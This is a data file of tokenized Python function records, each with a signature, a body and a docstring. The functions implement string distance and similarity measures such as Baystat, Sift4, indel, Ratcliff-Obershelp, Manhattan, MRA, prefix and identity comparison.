{"signature": "def dist_baystat(src, tar, min_ss_len=None, left_ext=None, right_ext=None):", "body": "return Baystat().dist(src, tar, min_ss_len, left_ext, right_ext)<EOL>", "docstring": "Return the Baystat distance.\n\n    This is a wrapper for :py:meth:`Baystat.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    min_ss_len : int\n        Minimum substring length to be considered\n    left_ext : int\n        Left-side extension length\n    right_ext : int\n        Right-side extension length\n\n    Returns\n    -------\n    float\n        The Baystat distance\n\n    Examples\n    --------\n    >>> round(dist_baystat('cat', 'hat'), 12)\n    0.333333333333\n    >>> dist_baystat('Niall', 'Neil')\n    0.6\n    >>> round(dist_baystat('Colin', 'Cuilen'), 12)\n    0.833333333333\n    >>> dist_baystat('ATCG', 'TAGC')\n    1.0", "id": "f6636:m1"}
{"signature": "def sim(self, src, tar, min_ss_len=None, left_ext=None, right_ext=None):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>max_len = max(len(src), len(tar))<EOL>if not (min_ss_len and left_ext and right_ext):<EOL><INDENT>if max_len >= <NUM_LIT:7>:<EOL><INDENT>min_ss_len = <NUM_LIT:2><EOL>left_ext = <NUM_LIT:2><EOL>right_ext = <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>min_ss_len = <NUM_LIT:1><EOL>left_ext = <NUM_LIT:0><EOL>right_ext = <NUM_LIT:0><EOL><DEDENT><DEDENT>pos = <NUM_LIT:0><EOL>match_len = <NUM_LIT:0><EOL>while True:<EOL><INDENT>if pos + min_ss_len > len(src):<EOL><INDENT>return match_len / max_len<EOL><DEDENT>hit_len = <NUM_LIT:0><EOL>ix = <NUM_LIT:1><EOL>substring = src[pos : pos + min_ss_len]<EOL>search_begin = pos - left_ext<EOL>if search_begin < <NUM_LIT:0>:<EOL><INDENT>search_begin = <NUM_LIT:0><EOL>left_ext_len = pos<EOL><DEDENT>else:<EOL><INDENT>left_ext_len = left_ext<EOL><DEDENT>if pos + min_ss_len + right_ext >= len(tar):<EOL><INDENT>right_ext_len = len(tar) - pos - min_ss_len<EOL><DEDENT>else:<EOL><INDENT>right_ext_len = right_ext<EOL><DEDENT>if (<EOL>search_begin + left_ext_len + min_ss_len + right_ext_len<EOL>> search_begin<EOL>):<EOL><INDENT>search_val = tar[<EOL>search_begin : (<EOL>search_begin<EOL>+ left_ext_len<EOL>+ min_ss_len<EOL>+ right_ext_len<EOL>)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>search_val = '<STR_LIT>'<EOL><DEDENT>flagged_tar = '<STR_LIT>'<EOL>while substring in search_val and pos + ix <= len(src):<EOL><INDENT>hit_len = len(substring)<EOL>flagged_tar = tar.replace(substring, '<STR_LIT:#>' * hit_len)<EOL>if pos + min_ss_len + ix <= len(src):<EOL><INDENT>substring = src[pos : pos + min_ss_len + ix]<EOL><DEDENT>if pos + min_ss_len + right_ext_len + <NUM_LIT:1> <= len(tar):<EOL><INDENT>right_ext_len += <NUM_LIT:1><EOL><DEDENT>search_val = tar[<EOL>search_begin : (<EOL>search_begin<EOL>+ left_ext_len<EOL>+ min_ss_len<EOL>+ right_ext_len<EOL>)<EOL>]<EOL>ix += <NUM_LIT:1><EOL><DEDENT>if hit_len > <NUM_LIT:0>:<EOL><INDENT>tar = flagged_tar<EOL><DEDENT>match_len += hit_len<EOL>pos += ix<EOL><DEDENT>", "docstring": "Return the Baystat similarity.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        min_ss_len : int\n            Minimum substring length to be considered\n        left_ext :int\n            Left-side extension length\n        right_ext :int\n            Right-side extension length\n\n        Returns\n        -------\n        float\n            The Baystat similarity\n\n        Examples\n        --------\n        >>> cmp = Baystat()\n        >>> round(cmp.sim('cat', 'hat'), 12)\n        0.666666666667\n        >>> cmp.sim('Niall', 'Neil')\n        0.4\n        >>> round(cmp.sim('Colin', 'Cuilen'), 12)\n        0.166666666667\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6636:c0:m0"}
{"signature": "def sift4_simplest(src, tar, max_offset=<NUM_LIT:5>):", "body": "return Sift4Simplest().dist_abs(src, tar, max_offset)<EOL>", "docstring": "Return the \"simplest\" Sift4 distance between two terms.\n\n    This is a wrapper for :py:meth:`Sift4Simplest.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    max_offset : int\n        The number of characters to search for matching letters\n\n    Returns\n    -------\n    int\n        The Sift4 distance according to the simplest formula\n\n    Examples\n    --------\n    >>> sift4_simplest('cat', 'hat')\n    1\n    >>> sift4_simplest('Niall', 'Neil')\n    2\n    >>> sift4_simplest('Colin', 'Cuilen')\n    3\n    >>> sift4_simplest('ATCG', 'TAGC')\n    2", "id": "f6637:m0"}
{"signature": "def dist_abs(self, src, tar, max_offset=<NUM_LIT:5>):", "body": "if not src:<EOL><INDENT>return len(tar)<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src)<EOL><DEDENT>src_len = len(src)<EOL>tar_len = len(tar)<EOL>src_cur = <NUM_LIT:0><EOL>tar_cur = <NUM_LIT:0><EOL>lcss = <NUM_LIT:0><EOL>local_cs = <NUM_LIT:0><EOL>while (src_cur < src_len) and (tar_cur < tar_len):<EOL><INDENT>if src[src_cur] == tar[tar_cur]:<EOL><INDENT>local_cs += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>lcss += local_cs<EOL>local_cs = <NUM_LIT:0><EOL>if src_cur != tar_cur:<EOL><INDENT>src_cur = tar_cur = max(src_cur, tar_cur)<EOL><DEDENT>for i in range(max_offset):<EOL><INDENT>if not (<EOL>(src_cur + i < src_len) or (tar_cur + i < tar_len)<EOL>):<EOL><INDENT>break<EOL><DEDENT>if (src_cur + i < src_len) and (<EOL>src[src_cur + i] == tar[tar_cur]<EOL>):<EOL><INDENT>src_cur += i<EOL>local_cs += <NUM_LIT:1><EOL>break<EOL><DEDENT>if (tar_cur + i < tar_len) and (<EOL>src[src_cur] == tar[tar_cur + i]<EOL>):<EOL><INDENT>tar_cur += i<EOL>local_cs += <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT><DEDENT>src_cur += <NUM_LIT:1><EOL>tar_cur += <NUM_LIT:1><EOL><DEDENT>lcss += local_cs<EOL>return round(max(src_len, tar_len) - lcss)<EOL>", "docstring": "Return the \"simplest\" Sift4 distance between two terms.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        max_offset : int\n            The number of characters to search for matching letters\n\n        Returns\n        -------\n        int\n            The Sift4 distance according to the simplest formula\n\n        Examples\n        --------\n        >>> cmp = Sift4Simplest()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        3\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        2", "id": "f6637:c0:m0"}
{"signature": "def indel(src, tar):", "body": "return Indel().dist_abs(src, tar)<EOL>", "docstring": "Return the indel distance between two strings.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    int\n        Indel distance\n\n    Examples\n    --------\n    >>> indel('cat', 'hat')\n    2\n    >>> indel('Niall', 'Neil')\n    3\n    >>> indel('Colin', 'Cuilen')\n    5\n    >>> indel('ATCG', 'TAGC')\n    4", "id": "f6638:m0"}
{"signature": "def dist_indel(src, tar):", "body": "return Indel().dist(src, tar)<EOL>", "docstring": "Return the normalized indel distance between two strings.\n\n    This is equivalent to normalized Levenshtein distance, when only inserts\n    and deletes are possible.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized indel distance\n\n    Examples\n    --------\n    >>> round(dist_indel('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist_indel('Niall', 'Neil'), 12)\n    0.333333333333\n    >>> round(dist_indel('Colin', 'Cuilen'), 12)\n    0.454545454545\n    >>> dist_indel('ATCG', 'TAGC')\n    0.5", "id": "f6638:m1"}
{"signature": "def sim_indel(src, tar):", "body": "return Indel().sim(src, tar)<EOL>", "docstring": "Return the normalized indel similarity of two strings.\n\n    This is equivalent to normalized Levenshtein similarity, when only inserts\n    and deletes are possible.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized indel similarity\n\n    Examples\n    --------\n    >>> round(sim_indel('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim_indel('Niall', 'Neil'), 12)\n    0.666666666667\n    >>> round(sim_indel('Colin', 'Cuilen'), 12)\n    0.545454545455\n    >>> sim_indel('ATCG', 'TAGC')\n    0.5", "id": "f6638:m2"}
{"signature": "def dist_abs(self, src, tar):", "body": "return self._lev.dist_abs(<EOL>src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>)<EOL>)<EOL>", "docstring": "Return the indel distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        int\n            Indel distance\n\n        Examples\n        --------\n        >>> cmp = Indel()\n        >>> cmp.dist_abs('cat', 'hat')\n        2\n        >>> cmp.dist_abs('Niall', 'Neil')\n        3\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        5\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        4", "id": "f6638:c0:m0"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return self.dist_abs(src, tar) / (len(src) + len(tar))<EOL>", "docstring": "Return the normalized indel distance between two strings.\n\n        This is equivalent to normalized Levenshtein distance, when only\n        inserts and deletes are possible.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Normalized indel distance\n\n        Examples\n        --------\n        >>> cmp = Indel()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.333333333333\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.454545454545\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.5", "id": "f6638:c0:m1"}
{"signature": "def sim_ratcliff_obershelp(src, tar):", "body": "return RatcliffObershelp().sim(src, tar)<EOL>", "docstring": "Return the Ratcliff-Obershelp similarity of two strings.\n\n    This is a wrapper for :py:meth:`RatcliffObershelp.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Ratcliff-Obershelp similarity\n\n    Examples\n    --------\n    >>> round(sim_ratcliff_obershelp('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim_ratcliff_obershelp('Niall', 'Neil'), 12)\n    0.666666666667\n    >>> round(sim_ratcliff_obershelp('aluminum', 'Catalan'), 12)\n    0.4\n    >>> sim_ratcliff_obershelp('ATCG', 'TAGC')\n    0.5", "id": "f6639:m0"}
{"signature": "def dist_ratcliff_obershelp(src, tar):", "body": "return RatcliffObershelp().dist(src, tar)<EOL>", "docstring": "Return the Ratcliff-Obershelp distance between two strings.\n\n    This is a wrapper for :py:meth:`RatcliffObershelp.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Ratcliff-Obershelp distance\n\n    Examples\n    --------\n    >>> round(dist_ratcliff_obershelp('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist_ratcliff_obershelp('Niall', 'Neil'), 12)\n    0.333333333333\n    >>> round(dist_ratcliff_obershelp('aluminum', 'Catalan'), 12)\n    0.6\n    >>> dist_ratcliff_obershelp('ATCG', 'TAGC')\n    0.5", "id": "f6639:m1"}
{"signature": "def sim(self, src, tar):", "body": "def _lcsstr_stl(src, tar):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>lengths = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_int)<EOL>longest, src_longest, tar_longest = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>if src[i - <NUM_LIT:1>] == tar[j - <NUM_LIT:1>]:<EOL><INDENT>lengths[i, j] = lengths[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + <NUM_LIT:1><EOL>if lengths[i, j] > longest:<EOL><INDENT>longest = lengths[i, j]<EOL>src_longest = i<EOL>tar_longest = j<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lengths[i, j] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return src_longest - longest, tar_longest - longest, longest<EOL><DEDENT>def _sstr_matches(src, tar):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>src_start, tar_start, length = _lcsstr_stl(src, tar)<EOL>if length == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return (<EOL>_sstr_matches(src[:src_start], tar[:tar_start])<EOL>+ length<EOL>+ _sstr_matches(<EOL>src[src_start + length :], tar[tar_start + length :]<EOL>)<EOL>)<EOL><DEDENT>if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>elif not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return <NUM_LIT:2> * _sstr_matches(src, tar) / (len(src) + len(tar))<EOL>", "docstring": "Return the Ratcliff-Obershelp similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Ratcliff-Obershelp similarity\n\n        Examples\n        --------\n        >>> cmp = RatcliffObershelp()\n        >>> round(cmp.sim('cat', 'hat'), 12)\n        0.666666666667\n        >>> round(cmp.sim('Niall', 'Neil'), 12)\n        0.666666666667\n        >>> round(cmp.sim('aluminum', 'Catalan'), 12)\n        0.4\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.5", "id": "f6639:c0:m0"}
{"signature": "def sim(src, tar, method=sim_levenshtein):", "body": "if callable(method):<EOL><INDENT>return method(src, tar)<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>' + str(method))<EOL><DEDENT>", "docstring": "Return a similarity of two strings.\n\n    This is a generalized function for calling other similarity functions.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    method : function\n        Specifies the similarity metric (:py:func:`sim_levenshtein` by default)\n\n    Returns\n    -------\n    float\n        Similarity according to the specified function\n\n    Raises\n    ------\n    AttributeError\n        Unknown distance function\n\n    Examples\n    --------\n    >>> round(sim('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim('Niall', 'Neil'), 12)\n    0.4\n    >>> sim('aluminum', 'Catalan')\n    0.125\n    >>> sim('ATCG', 'TAGC')\n    0.25", "id": "f6640:m0"}
{"signature": "def dist(src, tar, method=sim_levenshtein):", "body": "if callable(method):<EOL><INDENT>return <NUM_LIT:1> - method(src, tar)<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>' + str(method))<EOL><DEDENT>", "docstring": "Return a distance between two strings.\n\n    This is a generalized function for calling other distance functions.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    method : function\n        Specifies the similarity metric (:py:func:`sim_levenshtein` by default)\n        -- Note that this takes a similarity metric function, not a distance\n        metric function.\n\n    Returns\n    -------\n    float\n        Distance according to the specified function\n\n    Raises\n    ------\n    AttributeError\n        Unknown distance function\n\n    Examples\n    --------\n    >>> round(dist('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist('Niall', 'Neil'), 12)\n    0.6\n    >>> dist('aluminum', 'Catalan')\n    0.875\n    >>> dist('ATCG', 'TAGC')\n    0.75", "id": "f6640:m1"}
{"signature": "def manhattan(src, tar, qval=<NUM_LIT:2>, normalized=False, alphabet=None):", "body": "return Manhattan().dist_abs(src, tar, qval, normalized, alphabet)<EOL>", "docstring": "Return the Manhattan distance between two strings.\n\n    This is a wrapper for :py:meth:`Manhattan.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    normalized : bool\n        Normalizes to [0, 1] if True\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The Manhattan distance\n\n    Examples\n    --------\n    >>> manhattan('cat', 'hat')\n    4.0\n    >>> manhattan('Niall', 'Neil')\n    7.0\n    >>> manhattan('Colin', 'Cuilen')\n    9.0\n    >>> manhattan('ATCG', 'TAGC')\n    10.0", "id": "f6641:m0"}
{"signature": "def dist_manhattan(src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return Manhattan().dist(src, tar, qval, alphabet)<EOL>", "docstring": "Return the normalized Manhattan distance between two strings.\n\n    This is a wrapper for :py:meth:`Manhattan.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Manhattan distance\n\n    Examples\n    --------\n    >>> dist_manhattan('cat', 'hat')\n    0.5\n    >>> round(dist_manhattan('Niall', 'Neil'), 12)\n    0.636363636364\n    >>> round(dist_manhattan('Colin', 'Cuilen'), 12)\n    0.692307692308\n    >>> dist_manhattan('ATCG', 'TAGC')\n    1.0", "id": "f6641:m1"}
{"signature": "def sim_manhattan(src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return Manhattan().sim(src, tar, qval, alphabet)<EOL>", "docstring": "Return the normalized Manhattan similarity of two strings.\n\n    This is a wrapper for :py:meth:`Manhattan.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Manhattan similarity\n\n    Examples\n    --------\n    >>> sim_manhattan('cat', 'hat')\n    0.5\n    >>> round(sim_manhattan('Niall', 'Neil'), 12)\n    0.363636363636\n    >>> round(sim_manhattan('Colin', 'Cuilen'), 12)\n    0.307692307692\n    >>> sim_manhattan('ATCG', 'TAGC')\n    0.0", "id": "f6641:m2"}
{"signature": "def dist_abs(self, src, tar, qval=<NUM_LIT:2>, normalized=False, alphabet=None):", "body": "return super(self.__class__, self).dist_abs(<EOL>src, tar, qval, <NUM_LIT:1>, normalized, alphabet<EOL>)<EOL>", "docstring": "Return the Manhattan distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        normalized : bool\n            Normalizes to [0, 1] if True\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The Manhattan distance\n\n        Examples\n        --------\n        >>> cmp = Manhattan()\n        >>> cmp.dist_abs('cat', 'hat')\n        4.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        7.0\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        9.0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        10.0", "id": "f6641:c0:m0"}
{"signature": "def dist(self, src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return self.dist_abs(src, tar, qval, True, alphabet)<EOL>", "docstring": "Return the normalized Manhattan distance between two strings.\n\n        The normalized Manhattan distance is a distance metric in\n        :math:`L^1`-space, normalized to [0, 1].\n\n        This is identical to Canberra distance.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The normalized Manhattan distance\n\n        Examples\n        --------\n        >>> cmp = Manhattan()\n        >>> cmp.dist('cat', 'hat')\n        0.5\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.636363636364\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.692307692308\n        >>> cmp.dist('ATCG', 'TAGC')\n        1.0", "id": "f6641:c0:m1"}
{"signature": "def mra_compare(src, tar):", "body": "return MRA().dist_abs(src, tar)<EOL>", "docstring": "Return the MRA comparison rating of two strings.\n\n    This is a wrapper for :py:meth:`MRA.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    int\n        MRA comparison rating\n\n    Examples\n    --------\n    >>> mra_compare('cat', 'hat')\n    5\n    >>> mra_compare('Niall', 'Neil')\n    6\n    >>> mra_compare('aluminum', 'Catalan')\n    0\n    >>> mra_compare('ATCG', 'TAGC')\n    5", "id": "f6642:m0"}
{"signature": "def sim_mra(src, tar):", "body": "return MRA().sim(src, tar)<EOL>", "docstring": "Return the normalized MRA similarity of two strings.\n\n    This is a wrapper for :py:meth:`MRA.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized MRA similarity\n\n    Examples\n    --------\n    >>> sim_mra('cat', 'hat')\n    0.8333333333333334\n    >>> sim_mra('Niall', 'Neil')\n    1.0\n    >>> sim_mra('aluminum', 'Catalan')\n    0.0\n    >>> sim_mra('ATCG', 'TAGC')\n    0.8333333333333334", "id": "f6642:m1"}
{"signature": "def dist_mra(src, tar):", "body": "return MRA().dist(src, tar)<EOL>", "docstring": "Return the normalized MRA distance between two strings.\n\n    This is a wrapper for :py:meth:`MRA.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Normalized MRA distance\n\n    Examples\n    --------\n    >>> dist_mra('cat', 'hat')\n    0.16666666666666663\n    >>> dist_mra('Niall', 'Neil')\n    0.0\n    >>> dist_mra('aluminum', 'Catalan')\n    1.0\n    >>> dist_mra('ATCG', 'TAGC')\n    0.16666666666666663", "id": "f6642:m2"}
{"signature": "def dist_abs(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:6><EOL><DEDENT>if src == '<STR_LIT>' or tar == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>src = list(mra(src))<EOL>tar = list(mra(tar))<EOL>if abs(len(src) - len(tar)) > <NUM_LIT:2>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>length_sum = len(src) + len(tar)<EOL>if length_sum < <NUM_LIT:5>:<EOL><INDENT>min_rating = <NUM_LIT:5><EOL><DEDENT>elif length_sum < <NUM_LIT:8>:<EOL><INDENT>min_rating = <NUM_LIT:4><EOL><DEDENT>elif length_sum < <NUM_LIT:12>:<EOL><INDENT>min_rating = <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>min_rating = <NUM_LIT:2><EOL><DEDENT>for _ in range(<NUM_LIT:2>):<EOL><INDENT>new_src = []<EOL>new_tar = []<EOL>minlen = min(len(src), len(tar))<EOL>for i in range(minlen):<EOL><INDENT>if src[i] != tar[i]:<EOL><INDENT>new_src.append(src[i])<EOL>new_tar.append(tar[i])<EOL><DEDENT><DEDENT>src = new_src + src[minlen:]<EOL>tar = new_tar + tar[minlen:]<EOL>src.reverse()<EOL>tar.reverse()<EOL><DEDENT>similarity = <NUM_LIT:6> - max(len(src), len(tar))<EOL>if similarity >= min_rating:<EOL><INDENT>return similarity<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Return the MRA comparison rating of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        int\n            MRA comparison rating\n\n        Examples\n        --------\n        >>> cmp = MRA()\n        >>> cmp.dist_abs('cat', 'hat')\n        5\n        >>> cmp.dist_abs('Niall', 'Neil')\n        6\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        5", "id": "f6642:c0:m0"}
{"signature": "def sim(self, src, tar):", "body": "return mra_compare(src, tar) / <NUM_LIT:6><EOL>", "docstring": "Return the normalized MRA similarity of two strings.\n\n        This is the MRA normalized to :math:`[0, 1]`, given that MRA itself is\n        constrained to the range :math:`[0, 6]`.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Normalized MRA similarity\n\n        Examples\n        --------\n        >>> cmp = MRA()\n        >>> cmp.sim('cat', 'hat')\n        0.8333333333333334\n        >>> cmp.sim('Niall', 'Neil')\n        1.0\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.0\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.8333333333333334", "id": "f6642:c0:m1"}
{"signature": "def sim_prefix(src, tar):", "body": "return Prefix().sim(src, tar)<EOL>", "docstring": "Return the prefix similarity of two strings.\n\n    This is a wrapper for :py:meth:`Prefix.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Prefix similarity\n\n    Examples\n    --------\n    >>> sim_prefix('cat', 'hat')\n    0.0\n    >>> sim_prefix('Niall', 'Neil')\n    0.25\n    >>> sim_prefix('aluminum', 'Catalan')\n    0.0\n    >>> sim_prefix('ATCG', 'TAGC')\n    0.0", "id": "f6643:m0"}
{"signature": "def dist_prefix(src, tar):", "body": "return Prefix().dist(src, tar)<EOL>", "docstring": "Return the prefix distance between two strings.\n\n    This is a wrapper for :py:meth:`Prefix.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Prefix distance\n\n    Examples\n    --------\n    >>> dist_prefix('cat', 'hat')\n    1.0\n    >>> dist_prefix('Niall', 'Neil')\n    0.75\n    >>> dist_prefix('aluminum', 'Catalan')\n    1.0\n    >>> dist_prefix('ATCG', 'TAGC')\n    1.0", "id": "f6643:m1"}
{"signature": "def sim(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>min_word, max_word = (src, tar) if len(src) < len(tar) else (tar, src)<EOL>min_len = len(min_word)<EOL>for i in range(min_len, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if min_word[:i] == max_word[:i]:<EOL><INDENT>return i / min_len<EOL><DEDENT><DEDENT>return <NUM_LIT:0.0><EOL>", "docstring": "Return the prefix similarity of two strings.\n\n        Prefix similarity is the ratio of the length of the shorter term that\n        exactly matches the longer term to the length of the shorter term,\n        beginning at the start of both terms.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Prefix similarity\n\n        Examples\n        --------\n        >>> cmp = Prefix()\n        >>> cmp.sim('cat', 'hat')\n        0.0\n        >>> cmp.sim('Niall', 'Neil')\n        0.25\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.0\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6643:c0:m0"}
{"signature": "def sim_ident(src, tar):", "body": "return Ident().sim(src, tar)<EOL>", "docstring": "Return the identity similarity of two strings.\n\n    This is a wrapper for :py:meth:`Ident.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Identity similarity\n\n\n    Examples\n    --------\n    >>> sim_ident('cat', 'hat')\n    0.0\n    >>> sim_ident('cat', 'cat')\n    1.0", "id": "f6644:m0"}
{"signature": "def dist_ident(src, tar):", "body": "return Ident().dist(src, tar)<EOL>", "docstring": "Return the identity distance between two strings.\n\n    This is a wrapper for :py:meth:`Ident.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Identity distance\n\n    Examples\n    --------\n    >>> dist_ident('cat', 'hat')\n    1.0\n    >>> dist_ident('cat', 'cat')\n    0.0", "id": "f6644:m1"}
{"signature": "def sim(self, src, tar):", "body": "return <NUM_LIT:1.0> if src == tar else <NUM_LIT:0.0><EOL>", "docstring": "Return the identity similarity of two strings.\n\n        Identity similarity is 1.0 if the two strings are identical,\n        otherwise 0.0\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Identity similarity\n\n        Examples\n        --------\n        >>> cmp = Ident()\n        >>> cmp.sim('cat', 'hat')\n        0.0\n        >>> cmp.sim('cat', 'cat')\n        1.0", "id": "f6644:c0:m0"}
